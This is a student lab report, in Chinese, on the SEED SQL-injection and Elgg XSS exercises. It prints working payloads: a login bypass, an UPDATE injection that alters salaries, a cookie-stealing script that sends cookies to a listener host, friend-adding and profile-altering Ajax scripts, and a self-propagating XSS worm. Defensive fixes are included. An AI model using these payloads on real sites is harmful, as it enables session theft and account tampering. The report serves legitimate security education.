# 20242924 2024-2025-2 《网络攻防实践》实践十报告
20242924 2024-2025-2 《网络攻防实践》实践十报告
1.实践内容
1.1 实践目标
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
- 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
- 弹窗显示cookie信息:将cookie信息显示。
- 窃取受害者的cookies:将cookie发送给攻击者。
- 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 编写XSS蠕虫。
- 对抗XSS攻击。
1.2 实践基础知识
SQL注入
- SQL注入漏洞最主要的形成原因是在进行数据交互中,当前端的数据传入后端进行处理时,由于没有做严格的判断,导致其传入的“数据”在拼接到SQL语句中之后,由于其特殊性,被当作SQL语句的一部分被执行,从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。
SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据「越俎代庖」做了代码才能干的事情。
这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。 - SQL注入的产生需要满足以下两个条件:
参数用户可控:前端传给后端的参数用户可控;
参数带入数据库查询:传入的参数拼接到SQL语句中,且带入数据库中查询。 - SQL注入类型:
1、按照注入点分类:
(1)数字型注入:许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,注入点id为数字,一般被叫做数字型注入点,通过这种形式查询出后台数据库信息返回前台展示,可以构造类似以下的SQL语句进行爆破:select * from 表名 where id=1 and 1=1。
(2)字符型注入:网页链接有类似的结构http://xxx.com/users.php?name=admin 这种形式,注入点name为字符串,被称为字符型注入,可以用:select * from 表名 where name='admin' and 1=1。
(3)搜索型注入:主要是指在数据搜索时没有过滤搜索参数,一般在链接地址中有 "keyword=“关键字”",注入点提交的是SQL语句,select * from 表名 where 字段 like '%关键字%' and '%1%'='%1%'。
2、按照执行效果来分类:
(1)基于布尔的盲注:根据页面返回判断条件真假注入。
(2)基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错的注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
(4)联合查询注入:可以使用union情况下注入。
SQL注入常见的绕过方法:
(1)大小写关键词绕过(UNiOn)
(2)双写关键词绕过(ununionion)
(3)编码绕过(base64、url)
(4)内联注释绕过(/*! Union */)
XSS跨站脚本攻击 - XSS(Cross Site Scripting),为不和层叠样式表CSS混淆,故将跨站脚本攻击缩写为XSS。
- 攻击原理:
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入其中的Script代码会被执行,从而达到恶意攻击用户的目的。 - XSS攻击按类型可以分为三种:
反射性XSS :非持久型的XSS,没有长期被放在服务器中,是现在最容易出现的一种XSS 漏 洞。当用户在请求某一个URL得治的时候,会携带某一部分数据。当客户端进行访问某一条链接的时候,攻击者就可以将恶意的代码植入到URL中,如果服务器端未对URL的参数做判断或者是过滤,直接就返回相应页面,那么XSS攻击代码就会一起被传输到用户的浏览器,从而出发反射型XSS。可配合短链接实现钓鱼。反射型XSS的payload常常是构造在网站的某一个通过GET传递的参数中。(对应的数据流向是:浏览器---后端---浏览器)
存储型XSS :存储型XSS又叫做持久型XSS。它是危害最大的XSS。这种类型的XSS可以将恶意的攻击代码持久化的保存在服务器上,然后被显示到HTML页面中。此类型的XSS漏洞经常出现 在用户评论的页面,将攻击者精心构造的恶意代码保存在数据库中。如果其他的用户访问到该页面时就会触发恶意的XSS代码执行,从而窃取用户的信息。(数据流向:浏览器---后端---数据库---后端---浏览器)
DOM型XSS :DOM是由许多不同类型的节点共同组成,主要由元素节点、文本节点、属性节点。DOM型XSS漏洞是基于文档对象模型的一种漏洞。这种XSS和反射型XSS、存储型XSS的原理上由本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠的是浏览器端的DOM解析。客户端上的JS脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获得数据并执行。在客户端直接输出DOM内容的时候非常容易触发DOM型XSS漏洞,如doccment.getElementByld("x").innerHTML、doccument.write等。
2.实践过程
2.1 SEED SQL注入攻击与防御实验
在实验开始前永久修改主机名:
在 ubuntu 系统中修改 hostname 为 20242924rwc

2.1.1 熟悉SQL语句
- 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等),需要使用数据库来熟悉SQL查询。
使用命令sudo service apache2 start开启 Apache 服务
再通过命令sudo service apache2 status查看apache服务器运行状态
可以看到服务器正在运行,状态显示为active(running)

通过命令mysql -u root -p登录数据库,输入密码seedubuntu

输入指令show databases查看已有数据库

输入命 use Users; 和show tables; 查看 Users 中的所有表;

可以看到该数据库存在一个名为“credential”的表。
下面使用查询语句select * from credential,查看这个表的详细信息:

2.1.2 对SELECT语句的SQL注入攻击
上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
首先使用 SEED 访问已经搭建好的 Web 页面:http://www.seedlabsqlinjection.com/可以看到是这样的一个登录界面:
以 SEED 实验环境自带的火狐浏览器为例,使用快捷键ctrl+U查看该页面源码。
得知用户输入信息通过 get 的方法提交至 unsafe_home.php 页面进行校验;


打开一个终端,在其中键入命令:vim /var/www/SQLInjection/unsafe_home.php,查看上述网站的对应功能代码,可以看到其中用户信息和密码,也可以看到程序针对 Admin 和普通用户采用不同的处理方法:




在网页登录时,后台进行SQL的查询:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
如果输入的用户姓名为Admin'#,而Password为任意字段。那么上述查询语句就会改变:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin'#’ and Password=’$hashed_pwd’
值得注意的是,#表示注释。可以将其后面的语句给注释掉。从而实现SQL攻击。
所以输入用户名:Admin'#,密码不限。可以进入该网站的管理员界面

2.1.3 对UPDATE语句的SQL注入攻击
通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
进入Edit_Profile更新页面,查看源代码,看到表单以get方式将数据发到 unsafe_edit_backend.php 页面;


在终端中执行命令:vim /var/www/SQLInjection/unsafe_edit_backend.php打开代码,找到源码中的 UPDATE SQL 语句


使用之前的SQL漏洞,输入用户名Alice' #,用Alice的身份登录,看到Alice相关信息,点击 左上方的"Edit Profile",进入到编辑信息页面
构造 ', salary='20242924' where Name='Alice';#,对 Alice 的Salary进行修改,进行 SQL 注入攻击;


保存后看到 Alice 的 Salary 已经改为20242924;对 UPDATE 语句的 SQL 注入攻击实验成功。

2.1.4 SQL对抗:修复上述SQL注入攻击漏洞
- 实现目标:修复上述SQL注入攻击漏洞。
SQL注入漏洞存在根本问题。就是代码和数据不隔离。当构造SQL语句时,程序知道哪一部分是数据,哪一部分是数据是代码。但当SQL语句被发送到数据库时,却无法分辨。解决方案是使用预处理语句。预处理语句能防止SQL注入攻击。
在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。
将原来的语句:"$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";"
修改为:"$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);"
![de]()
![de]()
![de]()
修改保存 unsafe_home.php 文件后,登录失败:
![de]()
继续进入 /var/www/SQLInjection/ 目录,输入命令:sudo vim unsafe_edit_backend.php,查看其源码
![de]()
在 unsafe_edit_backend.php 页面对 UPDATE 语句进行预处理。对 UPDATE 的修复如下,用以下代码替换掉 SQL 部分的代码:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
![de]()
修改保存后,进入unsafe_edit_backend.php 页面,输入 ', Salary='20242924' where name='Alice' ,点击Save按钮后一直卡在空白页面,可以发现 UPDATE 对数据库的修改失败。


2.2 SEED XSS跨站脚本攻击实验
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
2.2.1 发布恶意消息,显示警报窗口
- 在 Elgg 配置文件中嵌入一个 JavaScript 程序,以便当另一个用户查看配置文件时,将执行 JavaScript 程序并显示一个警报窗口。
在浏览器中访问 http://www.xsslabelgg.com/ ,输入账号:Alice 密码:seedalice


点击 Edit profile,在 Brief description 中输入 XSS 攻击代码,用于显示警告窗口:<script>alert('rwc_xss');</script>;

点击save按钮进行保存,发现弹出rwc_xss警告弹窗。


2.2.2 弹窗显示cookie信息
进入 Edit profile,在 Brief description 中输入 XSS 攻击代码:<script>alert(document.cookie);</script> ;

点击save保存,显示了 cookie 的信息。

2.2.3 窃取受害者的cookies
查看ubuntu的IP地址:192.168.200.20;

构造 XSS 攻击代码,设置只要有用户访问 Alice 的主页,就会接收到该用户的 cookie。点击 Edit profile,在 Brief description 中输入 XSS 攻击代码:<script>document.write('<img src=http://192.168.200.20:5555?c='+escape(document.cookie)+'>');</script>
并保存,此时端口设置为5555;

切换账号:Boby 密码:seedboby

访问 Alice 主页前输入指令nc -l 5555 -v(其中 -l 指定端口,-v 显示详细信息)监听5555端口


使用 Boby 的账号进行登录并访问 Alice 的主页访问 Alice 主页后成功得到 Boby 的 cookie。

2.2.4 成为受害者的朋友
重新以Alice身份登录,访问Boby主页。首先点击 ctrl+shift+E 打开浏览器开发者模式,进入Network页面,然后点击和 Boby 成为好友;可以看到浏览器发送了 GET 请求;



其中请求的地址为:http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1747834443&__elgg_token=FZVGaOQXMxN5LcifXTwjDQ&__elgg_ts=1747834443&__elgg_token=FZVGaOQXMxN5LcifXTwjDQ
可以看到,这里用到了三个参数(friend,__elgg_ts,__elgg_token,分别是好友、时间、身份认证);
构造以下js代码:
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
将其添加在 Alice 的 About me 中,并点击保存;

一开始Boby的页面如下,访问Alice的主页后可以看到已经成功添加好友


2.2.5 修改受害者的信息
- 使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
进入Edit profile页面,点击按钮"Save",看到Network请求信息

同样构造脚本填入Alice的About me一栏中,点击"Save"按钮保存:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This had been changed by 20242924rwc.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
使用Boby访问Alice界面,再返回Boby主页,发现自我介绍已经改变,表明攻击成功:

2.2.6 编写XSS蠕虫
构造脚本填入Alice的About me一栏中,点击Save保存:

<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>This had been changed by 20242924rwc again. "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
退出Alice,使用Boby登录
Boby原本的About me是这样的,当访问Alice的页面后,自己的About me页面改变了

当使用第三个账号访问第二个账号时,可以发现该账号也会被感染
登录Samy账号(密码seedsamy)

Samy访问Boby主页,由于Boby被感染,那么发现Samy信息也被修改。攻击成功。

2.2.7 对抗XSS攻击
登录Admin账号(密码seedelgg),点击点击右上角的Account->Administration->plugins,将HTMLawed设为Deactivate状态,对用户的输入输出进行校验并且去除特定标

再次访问Alice主页,XSS漏洞已被修复

3.学习中遇到的问题及解决
- 问题1:一开始怎么都进不去实验给定的数据库,反复弄了很久都不行
问题1解决方法:询问了其他同学排除了很多错误,最后重新装了虚拟机成功进入 - 问题2:再做成为受害者的朋友这个实验步骤时,在Alice的界面输入代码后怎么样都不能成功实现攻击
问题2解决方法:重启就好了
4.学习感想和体会
通过SQL注入实验,我深刻认识到用户输入未过滤的危害——仅用admin' --就能绕过登录,甚至篡改他人薪资数据,这让我意识到参数化查询的必要性。XSS实验从简单的alert弹窗到窃取Cookie、自动加好友,JavaScript的滥用竟能造成如此连锁反应。当看到XSS蠕虫通过个人资料页面自动传播时,我真正理解了"前端安全即用户安全"的含义。实验证明,安全防护必须贯穿开发全流程,从后端的SQL预处理到前端的CSP策略,任何环节的疏忽都可能成为攻击入口。这次攻防实践不仅让我掌握了漏洞原理,更培养了"攻击者思维",未来开发中将始终以最小权限、最大验证为准则。但是这次实验出现了很多莫名奇妙的错误,让我耗费了很长时间,让我认识到要及时转换检查错误的方法,不要在一条路上一直检查。






浙公网安备 33010602011771号